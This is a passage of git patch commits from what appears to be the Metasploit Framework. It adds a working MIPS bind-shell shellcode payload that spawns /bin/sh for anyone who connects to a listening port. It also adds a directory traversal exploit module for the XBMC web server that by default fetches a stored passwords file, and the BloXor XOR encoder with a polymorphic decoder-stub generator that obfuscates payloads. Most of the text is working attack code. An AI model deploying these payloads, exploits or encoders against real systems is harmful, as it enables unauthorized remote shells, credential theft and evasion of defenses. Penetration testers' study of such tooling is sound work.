From 2affb319587a2c3e8be8eef91415614c71d4e100 Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Sun, 28 Oct 2012 20:51:45 +0100 Subject: [PATCH 001/448] Initial import of linux-mipsle shell_bind_tcp --- .../singles/linux/mipsle/shell_bind_tcp.rb | 123 ++++++++++++++++++ 1 file changed, 123 insertions(+) create mode 100644 modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb new file mode 100644 index 0000000000..a291937378 --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -0,0 +1,123 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Bind TCP Inline', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'Vlatko Kosturjak', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + end + + def generate + if(!datastore['LPORT'] or datastore['LPORT'].empty? ) + return super + end + + port = Integer(datastore['LPORT']) + port = [port].pack("n").unpack("cc"); + + # based on vaicebine at gmail dot com shellcode + # and scut paper Writing MIPS/Irix shellcode + shellcode = + "\xe0\xff\xbd\x27" + # addiu sp,sp,-32 + "\xfd\xff\x0e\x24" + # li t6,-3 + "\x27\x20\xc0\x01" + # nor a0,t6,zero + "\x27\x28\xc0\x01" + # nor a1,t6,zero + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x50\x30" + # andi s0,v0,0xffff + "\xef\xff\x0e\x24" + # li t6,-17 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + port.pack("C2") + "\x0d\x24" + # li t5,0xFFFF (port) + "\x04\x68\xcd\x01" + # sllv t5,t5,t6 + "\xff\xfd\x0e\x24" + # li t6,-513 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + "\x25\x68\xae\x01" + # or t5,t5,t6 + "\xe0\xff\xad\xaf" + # sw t5,-32(sp) + "\xe4\xff\xa0\xaf" + # sw zero,-28(sp) + "\xe8\xff\xa0\xaf" + # sw zero,-24(sp) + "\xec\xff\xa0\xaf" + # sw zero,-20(sp) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xef\xff\x0e\x24" + # li t6,-17 + "\x27\x30\xc0\x01" + # nor a2,t6,zero + "\xe0\xff\xa5\x23" + # addi a1,sp,-32 + "\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\x01\x01\x05\x24" + # li a1,257 + "\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xff\xff\x05\x28" + # slti a1,zero,-1 + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x50\x30" + # andi s0,v0,0xffff + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xfd\xff\x0f\x24" + # li t7,-3 + "\x27\x28\xe0\x01" + # nor a1,t7,zero + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\x01\x01\x05\x28" + # slti a1,zero,0x0101 + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xff\xff\x05\x28" + # slti a1,zero,-1 + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x50\x73\x06\x24" + # li a2,0x7350 + "\xff\xff\xd0\x04" + # LB: bltzal a2,LB + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\xdb\xff\x0f\x24" + # li t7,-37 + "\x27\x78\xe0\x01" + # nor t7,t7,zero + "\x21\x20\xef\x03" + # addu a0,ra,t7 + "\xf0\xff\xa4\xaf" + # sw a0,-16(sp) + "\xf4\xff\xa0\xaf" + # sw zero,-12(sp) + "\xf0\xff\xa5\x23" + # addi a1,sp,-16 + "\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve ) + "\x0c\x01\x01\x01" + # syscall + "/bin/sh" + end + +end From dac331fa10d30d709cb1cd4201db35fe42b86118 Mon Sep 17 00:00:00 2001 From: Matt Andreko Date: Sat, 3 Nov 2012 22:19:48 -0400 Subject: [PATCH 002/448] Added XBMC Traversal exploit --- .../auxiliary/scanner/http/xbmc_traversal.rb | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 modules/auxiliary/scanner/http/xbmc_traversal.rb diff --git a/modules/auxiliary/scanner/http/xbmc_traversal.rb b/modules/auxiliary/scanner/http/xbmc_traversal.rb new file mode 100644 index 0000000000..11f48abaac --- /dev/null +++ b/modules/auxiliary/scanner/http/xbmc_traversal.rb @@ -0,0 +1,86 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "XBMC Web Server Directory Traversal", + 'Description' => %q{ + This module exploits a directory traversal bug in XBMC 11. + The module can only be used to retrieve files. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton + 'Lucas "acidgen" Lundgren IOActive', + 'Matt "hostess" Andreko', + ], + 'References' => + [ + ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'] + ], + 'DisclosureDate' => "Nov 1 2012" + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), + OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']), + OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']), + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + # No point to continue if no filename is specified + if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? + print_error("Please supply the name of the file you want to download") + return + end + + # Create request + traversal = "../../../../../../../../.." + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", + 'basic_auth' => "#{datastore['USER']}:#{datastore['PASS']}" + }, 25) + + # Show data if needed + if res + if res.code == 200 + vprint_line(res.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'xbmc.http', + 'application/octet-stream', + ip, + res.body, + fname + ) + print_good("File saved in: #{path}") + elsif res.code == 401 + print_error("#{rhost}:#{rport} Authentication failed") + elsif res.code == 404 + print_error("#{rhost}:#{rport} File not found") + end + else + print_error("HTTP Response failed") + end + end +end From bda7f68b026ab43687722aae51595090fa35c864 Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Thu, 8 Nov 2012 02:00:49 +0100 Subject: [PATCH 003/448] Add zero byte on the end of the /bin/sh string --- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index a291937378..735e2373fe 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -109,11 +109,16 @@ module Metasploit3 "\xff\xff\xd0\x04" + # LB: bltzal a2,LB "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) "\xff\xff\x06\x28" + # slti a2,zero,-1 - "\xdb\xff\x0f\x24" + # li t7,-37 + "\xc7\xff\x0f\x24" + # li t7,-57 "\x27\x78\xe0\x01" + # nor t7,t7,zero "\x21\x20\xef\x03" + # addu a0,ra,t7 "\xf0\xff\xa4\xaf" + # sw a0,-16(sp) "\xf4\xff\xa0\xaf" + # sw zero,-12(sp) + "\xf7\xff\x0e\x24" + # li t6,-9 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + "\x21\x60\xef\x03" + # addu t4,ra,t7 + "\x21\x68\x8e\x01" + # addu t5,t4,t6 + "\xff\xff\xa0\xad" + # sw zero,-1(t5) "\xf0\xff\xa5\x23" + # addi a1,sp,-16 "\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve ) "\x0c\x01\x01\x01" + # syscall From 6843aa3a6c1b34d9674576ae554b475decbb54b3 Mon Sep 17 00:00:00 2001 From: Matt Andreko Date: Thu, 8 Nov 2012 10:09:28 -0500 Subject: [PATCH 004/448] Added fix URL and a few more comments. Corrected date. --- modules/auxiliary/scanner/http/xbmc_traversal.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/xbmc_traversal.rb b/modules/auxiliary/scanner/http/xbmc_traversal.rb index 11f48abaac..2828421109 100644 --- a/modules/auxiliary/scanner/http/xbmc_traversal.rb +++ b/modules/auxiliary/scanner/http/xbmc_traversal.rb @@ -17,21 +17,22 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => "XBMC Web Server Directory Traversal", 'Description' => %q{ - This module exploits a directory traversal bug in XBMC 11. + This module exploits a directory traversal bug in XBMC 11, up until the 2012-11-04 nightly build. The module can only be used to retrieve files. }, 'License' => MSF_LICENSE, 'Author' => [ - 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton + 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton 'Lucas "acidgen" Lundgren IOActive', 'Matt "hostess" Andreko', ], 'References' => [ - ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'] + ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'], + ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'], ], - 'DisclosureDate' => "Nov 1 2012" + 'DisclosureDate' => "Nov 4 2012" )) register_options( @@ -53,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary end # Create request - traversal = "../../../../../../../../.." + traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", @@ -75,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("File saved in: #{path}") elsif res.code == 401 - print_error("#{rhost}:#{rport} Authentication failed") + print_error("#{rhost}:#{rport} Authentication failed") elsif res.code == 404 print_error("#{rhost}:#{rport} File not found") end From 4ac79c91a69c8fbd27ae86ffec2ee15331af4f64 Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Sat, 17 Nov 2012 12:00:59 +0100 Subject: [PATCH 005/448] Remove spaces at EOL --- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 735e2373fe..2c4ae5e3a5 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -34,7 +34,7 @@ module Metasploit3 'Payload' => { 'Offsets' => {} , - 'Payload' => '' + 'Payload' => '' }) ) end @@ -46,7 +46,7 @@ module Metasploit3 port = Integer(datastore['LPORT']) port = [port].pack("n").unpack("cc"); - + # based on vaicebine at gmail dot com shellcode # and scut paper Writing MIPS/Irix shellcode shellcode = From 0fb36f20240aa237237a081800bc37f84cdc0eb5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 28 Dec 2012 13:28:19 -0600 Subject: [PATCH 006/448] Get pg as a dependency of metasploit_data_models [#38274165] metasploit_data_models already declares pg as a runtime dependency in its gemspec, so there is no need to add pg as a direct dependency of metasploit-framework, since metasploit-framework only needs pg for metasploit_data_models. --- Gemfile | 2 -- Gemfile.lock | 1 - 2 files changed, 3 deletions(-) diff --git a/Gemfile b/Gemfile index 52d2e44c51..0bb1135b0b 100755 --- a/Gemfile +++ b/Gemfile @@ -6,8 +6,6 @@ gem 'activesupport', '>= 3.0.0' gem 'activerecord' # Database models shared between framework and Pro. gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' -# Needed for module caching in Mdm::ModuleDetails -gem 'pg', '>= 0.11' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index 3f4ffb72e0..a9531cb601 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -60,7 +60,6 @@ DEPENDENCIES activerecord activesupport (>= 3.0.0) metasploit_data_models! - pg (>= 0.11) rake redcarpet rspec (>= 2.12) From 8e6e1bc16408ac51db418c8976bf8defed40d420 Mon Sep 17 00:00:00 2001 From: Stephen Fewer Date: Thu, 10 Jan 2013 17:39:40 +0000 Subject: [PATCH 007/448] open up the bloxor encoder. --- lib/rex/arch/x86.rb | 19 +- lib/rex/encoder/bloxor/bloxor.rb | 326 ++++++++++++ lib/rex/poly.rb | 1 + lib/rex/poly/machine.rb | 12 + lib/rex/poly/machine/machine.rb | 829 +++++++++++++++++++++++++++++++ lib/rex/poly/machine/x86.rb | 508 +++++++++++++++++++ modules/encoders/x86/bloxor.rb | 58 +++ test/tests/test_encoders.rb | 119 +++++ 8 files changed, 1868 insertions(+), 4 deletions(-) create mode 100644 lib/rex/encoder/bloxor/bloxor.rb create mode 100644 lib/rex/poly/machine.rb create mode 100644 lib/rex/poly/machine/machine.rb create mode 100644 lib/rex/poly/machine/x86.rb create mode 100644 modules/encoders/x86/bloxor.rb create mode 100644 test/tests/test_encoders.rb diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 16671ca21f..64b7d52302 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -22,16 +22,27 @@ module X86 ESI = DH = SI = 6 EDI = BH = DI = 7 - REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', - 'esp', 'ebp', 'esi', 'edi' ] # :nodoc: - + REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi' ] + + REG_NAMES16 = [ 'ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di' ] + + REG_NAMES8L = [ 'al', 'cl', 'dl', 'bl', nil, nil, nil, nil ] + # Jump tp a specific register def self.jmp_reg(str) reg = reg_number(str) _check_reg(reg) "\xFF" + [224 + reg].pack('C') end - + + # + # Generate a LOOP instruction (Decrement ECX and jump short if ECX == 0) + # + def self.loop(offset) + "\xE2" + pack_lsb(rel_number(offset, -2)) + end + + # # This method returns the opcodes that compose a jump instruction to the # supplied relative offset. def self.jmp(addr) diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb new file mode 100644 index 0000000000..b7684a32d1 --- /dev/null +++ b/lib/rex/encoder/bloxor/bloxor.rb @@ -0,0 +1,326 @@ + +require 'rex/poly/machine' + +module Rex + +module Encoder + + class BloXor < Msf::Encoder + + def initialize( *args ) + super + @machine = nil + @blocks_out = [] + @block_size = 0 + end + + # + # + # + def decoder_stub( state ) + + if( not state.decoder_stub ) + @blocks_out = [] + @block_size = 0 + + # XXX: It would be ideal to use a random block size but unless we know the maximum size our final encoded + # blob can be we should instead start with the smallest block size and go up to avoid generating + # anything too big (if we knew the max size we could try something smaller if we generated a blob too big) + #block_sizes = (1..state.buf.length).to_a.shuffle + #block_sizes.each do | len | + + 1.upto( state.buf.length ) do | len | + + # For now we ignore all odd sizes to help with performance (The rex poly machine + # doesnt have many load/store primitives that can handle byte sizes efficiently) + if( len % 2 != 0 ) + next + end + + blocks, size = compute_encoded( state, len ) + if( blocks and size ) + + # We sanity check that the newly generated block ammount and the block size + # are not in the badchar list when converted into a hex form. Helps speed + # things up a great deal when generating a decoder stub later as these + # values may be used throughout. + + if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) ) + next + end + + if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) ) + next + end + + @blocks_out = blocks + @block_size = size + + break + end + end + + raise RuntimeError, "Unable to generate seed block." if( @blocks_out.empty? ) + + state.decoder_stub = compute_decoder( state ) + end + + state.decoder_stub + end + + # + # + # + def encode_block( state, data ) + + buffer = '' + + @blocks_out.each do | block | + buffer << block.pack( 'C*' ) + end + + buffer + end + + protected + + # + # Is a number in its byte form valid against the badchars? + # + def number_is_valid?( state, number ) + size = 'C' + if( number > 0xFFFF ) + size = 'V' + elsif( number > 0xFF ) + size = 'v' + end + return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil? + end + + # + # Calculate Shannon's entropy. + # + def entropy( data ) + entropy = 0.to_f + (0..255).each do | byte | + freq = data.to_s.count( byte.chr ).to_f / data.to_s.length + if( freq > 0 ) + entropy -= freq * Math.log2( freq ) + end + end + return entropy / 8 + end + + # + # Compute the encoded blocks (and associated seed) + # + def compute_encoded( state, len ) + + blocks_in = ::Array.new + + input = '' << state.buf + + block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0 + + if( block_padding > 0 ) + 0.upto( block_padding-1 ) do + input << [ rand( 255 ) ].pack( 'C' ) + end + end + + while( input.length > 0 ) + blocks_in << input[0..len-1].unpack( 'C*' ) + input = input[len..input.length] + end + + seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) ) + + if( not seed ) + return [ nil, nil ] + end + + blocks_out = [ seed ] + + blocks_in.each do | block | + blocks_out << compute_block( blocks_out.last, block ) + end + + return [ blocks_out, len ] + end + + # + # Generate the decoder stub which is functionally equivalent to the following: + # + # source = &end; + # dest = source + BLOCK_SIZE; + # counter = BLOCK_COUNT * ( BLOCK_SIZE / chunk_size ); + # do + # { + # encoded = *(CHUNK_SIZE *)dest; + # dest += chunk_size; + # decoded = *(CHUNK_SIZE *)source; + # *(CHUNK_SIZE *)source = decoded ^ encoded; + # source += chunk_size; + # } while( --counter ); + # + # end: + # + def compute_decoder( state ) + + @machine.create_variable( 'source' ) + @machine.create_variable( 'dest' ) + @machine.create_variable( 'counter' ) + @machine.create_variable( 'encoded' ) + @machine.create_variable( 'decoded' ) + + chunk_size = Rex::Poly::Machine::BYTE + if( @machine.native_size() == Rex::Poly::Machine::QWORD ) + if( @block_size % Rex::Poly::Machine::QWORD == 0 ) + chunk_size = Rex::Poly::Machine::QWORD + elsif( @block_size % Rex::Poly::Machine::DWORD == 0 ) + chunk_size = Rex::Poly::Machine::DWORD + elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + elsif( @machine.native_size() == Rex::Poly::Machine::DWORD ) + if( @block_size % Rex::Poly::Machine::DWORD == 0 ) + chunk_size = Rex::Poly::Machine::DWORD + elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + elsif( @machine.native_size() == Rex::Poly::Machine::WORD ) + if( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + end + + # Block 1 - Set the source variable to the address of the start block + @machine.create_block_primitive( 'block1', 'set', 'source', 'location' ) + + # Block 2 - Set the source variable to the address of the 1st encoded block + @machine.create_block_primitive( 'block2', 'add', 'source', 'end' ) + + # Block 3 - Set the destingation variable to the value of the source variable + @machine.create_block_primitive( 'block3', 'set', 'dest', 'source' ) + + # Block 4 - Set the destingation variable to the address of the 2nd encoded block + @machine.create_block_primitive( 'block4', 'add', 'dest', @block_size ) + + # Block 5 - Sets the loop counter to the number of blocks to process + @machine.create_block_primitive( 'block5', 'set', 'counter', ( ( @block_size / chunk_size ) * (@blocks_out.length - 1) ) ) + + # Block 6 - Set the encoded variable to the byte pointed to by the dest variable + @machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size ) + + # Block 7 - Increment the destination variable by one + @machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size ) + + # Block 8 - Set the decoded variable to the byte pointed to by the source variable + @machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size ) + + # Block 9 - Xor the decoded variable with the encoded variable + @machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' ) + + # Block 10 - store the newly decoded byte + @machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size ) + + # Block 11 - Increment the source variable by one + @machine.create_block_primitive( 'block11', 'add', 'source', chunk_size ) + + # Block 12 - Jump back up to the outer_loop block while the counter variable > 0 + @machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' ) + + # Try to generate the decoder stub... + decoder = @machine.generate + + if( not decoder ) + raise RuntimeError, "Unable to generate decoder stub." + end + + decoder + end + + # + # Compute the seed block which will successfully decode all proceeding encoded + # blocks while ensuring the encoded blocks do not contain any badchars. + # + def compute_seed( blocks_in, block_size, block_padding, badchars ) + seed = [] + redo_bytes = [] + + 0.upto( block_size-1 ) do | index | + + seed_bytes = (0..255).sort_by do + rand() + end + + seed_bytes.each do | seed_byte | + + next if( badchars.include?( seed_byte ) ) + + success = true + + previous_byte = seed_byte + + if( redo_bytes.length < 256 ) + redo_bytes = (0..255).sort_by do + rand() + end + end + + blocks_in.each do | block | + + decoded_byte = block[ index ] + + encoded_byte = previous_byte ^ decoded_byte + + if( badchars.include?( encoded_byte ) ) + # the padding bytes we added earlier can be changed if they are causing us to fail. + if( block == blocks_in.last and index >= (block_size-block_padding) ) + if( redo_bytes.empty? ) + success = false + break + end + block[ index ] = redo_bytes.shift + redo + end + + success = false + break + end + + previous_byte = encoded_byte + end + + if( success ) + seed << seed_byte + break + end + end + + end + + if( seed.length == block_size ) + return seed + end + + return nil + end + + # + # Compute the next encoded block by xoring the previous + # encoded block with the next decoded block. + # + def compute_block( encoded, decoded ) + block = [] + 0.upto( encoded.length-1 ) do | index | + block << ( encoded[ index ] ^ decoded[ index ] ) + end + return block + end + + end + +end + +end \ No newline at end of file diff --git a/lib/rex/poly.rb b/lib/rex/poly.rb index 7e3ebc6db0..428695c168 100644 --- a/lib/rex/poly.rb +++ b/lib/rex/poly.rb @@ -4,6 +4,7 @@ module Poly require 'rex/poly/register' require 'rex/poly/block' +require 'rex/poly/machine' ### # diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb new file mode 100644 index 0000000000..9e60195da1 --- /dev/null +++ b/lib/rex/poly/machine.rb @@ -0,0 +1,12 @@ + +module Rex + + module Poly + + require 'metasm' + require 'rex/poly/machine/machine' + require 'rex/poly/machine/x86' + + end + +end diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb new file mode 100644 index 0000000000..6bac6a8b1f --- /dev/null +++ b/lib/rex/poly/machine/machine.rb @@ -0,0 +1,829 @@ + +module Rex + + module Poly + + # + # A machine capable of creating a small blob of code in a metamorphic kind of way. + # Note: this is designed to perform an exhaustive search for a solution and can be + # slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a + # better choice. + # + class Machine + + QWORD = 8 + DWORD = 4 + WORD = 2 + BYTE = 1 + + # + # A Permutation! + # + class Permutation + + attr_accessor :active, :offset + + attr_reader :name, :primitive, :length, :args + + # + # Create a new permutation object. + # + def initialize( name, primitive, machine, source, args=nil ) + @name = name + @primitive = primitive + @machine = machine + @source = source + @args = args + @active = false + @valid = true + @length = 0 + @offset = 0 + @children = ::Array.new + end + + # + # Add in a child permutation to this one. Used to build the permutation tree. + # + def add_child( child ) + @children << child + end + + # + # Does this permutation have children? + # + def has_children? + not @children.empty? + end + + # + # Remove any existing children. Called by the machines generate function + # to build a fresh tree in case generate was previously called. + # + def remove_children + @children.clear + end + + # + # Actully render this permutation into a raw buffer. + # + def render + raw = '' + # Zero the length as we will be rendering the raw buffer and the length may change. + @length = 0 + # If this permutation source is a Primitive/Procedure we can call it, otherwise we have a string + if( @source.kind_of?( Primitive ) or @source.kind_of?( ::Proc ) ) + if( @source.kind_of?( Primitive ) ) + raw = @source.call( @name, @machine, *@args ) + elsif( @source.kind_of?( ::Proc ) ) + raw = @source.call + end + # If the primitive/procedure returned an array, it is an array of assembly strings which we can assemble. + if( raw.kind_of?( ::Array ) ) + lines = raw + raw = '' + # itterate over each line of assembly + lines.each do | asm | + # parse the asm and substitute in any offset values specified... + offsets = asm.scan( /:([\S]+)_offset/ ) + offsets.each do | name, | + asm = asm.gsub( ":#{name}_offset", @machine.block_offset( name ).to_s ) + end + # and substitute in and register values for any variables specified... + regs = asm.scan( /:([\S]+)_reg([\d]+)/ ) + regs.each do | name, size | + asm = asm.gsub( ":#{name}_reg#{size}", @machine.variable_value( name, size.to_i ) ) + end + # assemble it into a raw blob + blob = @machine.assemble( asm ) + #if( not @machine.is_valid?( blob ) ) + # p "#{name}(#{primitive}):#{asm} is invalid" + #end + raw << blob + end + end + else + # the source must just be a static string + raw = @source + end + # Update the length to reflect the new raw buffer + @length = raw.to_s.length + # As the temp variable is only assigned for the duration of a single permutation we + # can now release it if it was used in this permutation. + @machine.release_temp_variable + return raw.to_s + end + + # + # Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list). + # + def is_valid? + result = false + if( @valid ) + begin + result = @machine.is_valid?( self.render ) + rescue UnallowedPermutation + # This permutation is unallowed and can never be rendered so just mark it as + # not valid to skip it during future attempts. + @valid = false + rescue UndefinedPermutation + # allow an undefined permutation to fail validation but keep it marked + # as valid as it may be defined and passed validation later. + ensure + # Should a temporary variable have been assigned we can release it here. + @machine.release_temp_variable + end + end + return result + end + + # + # Try to find a solution within the solution space by performing a depth first search + # into the permutation tree and backtracking when needed. + # + def solve + # Check to see if this permutation can make part of a valid solution + if( self.is_valid? ) + # record this permutation as part of the final solution (the current machines register state is also saved here) + @machine.solution_push( self ) + # If we have no children we are at the end of the tree and have a potential full solution. + if( not self.has_children? ) + # We have a solution but doing a final pass to update offsets may introduce bad chars + # so we test for this and keep searching if this isnt a real solution after all. + if( not @machine.solution_is_valid? ) + # remove this permutation and keep searching + @machine.solution_pop + return false + end + # Return true to unwind the recursive call as we have got a final solution. + return true + end + # Itterate over the children of this permutation (the perutations of the proceeding block). + @children.each do | child | + # Traverse into this child to keep trying to generate a solution... + if( child.solve ) + # Keep returning true to unwind as we are done. + return true + end + end + # If we get here this permutation, origionally thought to be good for a solution, is not after all, + # so remove it from the machines final solution, restoring the register state aswell. + @machine.solution_pop + end + # No children can be made form part of the solution, return failure for this path in the tree. + return false + end + + end + + # + # A symbolic permutation to mark locations like the begining and end of a group of blocks. + # Used to calculate usefull offsets. + # + class SymbolicPermutation < Permutation + def initialize( name, machine, initial_offset=0 ) + super( name, '', machine, '' ) + # fudge the initial symbolic offset with a default (it gets patched correctly later), + # helps with the end symbolic block to not be 0 (as its a forward reference it really + # slows things down if we leave it 0) + @offset = initial_offset + # A symbolic block is allways active! + @active = true + end + + # + # We block all attempts to set the active state of this permutation so as + # it is always true. This lets us always address the offset. + # + def active=( value ) + end + end + + # + # A primitive is a machine defined permutation which accepts some arguments when it is called. + # + class Primitive + + # + # Initialize this primitive with its target source procedure and the machine it belongs to. + # + def initialize( source ) + @source = source + end + + # + # Call the primitives source procedure, passing in the arguments. + # + def call( name, machine, *args ) + return @source.call( name, machine, *args ) + end + + end + + # + # + # + class Block + + #attr_accessor :next, :previous + attr_reader :name + + def initialize( name ) + @name = name + @next = nil + @previous = nil + @permutations = ::Array.new + end + + def shuffle + @permutations = @permutations.shuffle + end + + def solve + @permutations.first.solve + end + + def << ( permutation ) + @permutations << permutation + end + + def each + @permutations.each do | permutation | + yield permutation + end + end + + end + + # + # A class to hold a solution for a Rex::Poly::Machine problem. + # + class Solution + + attr_reader :offset + + def initialize + @permutations = ::Array.new + @reg_state = ::Array.new + @offset = 0 + end + + # + # Reset this solution to an empty state. + # + def reset + @offset = 0 + @permutations.each do | permutation | + permutation.active = false + permutation.offset = 0 + end + @permutations.clear + @reg_state.clear + end + + # + # Push a new permutation onto this solutions permutations list and save the associated register/variables state + # + def push( permutation, reg_available, reg_consumed, variables ) + permutation.active = true + 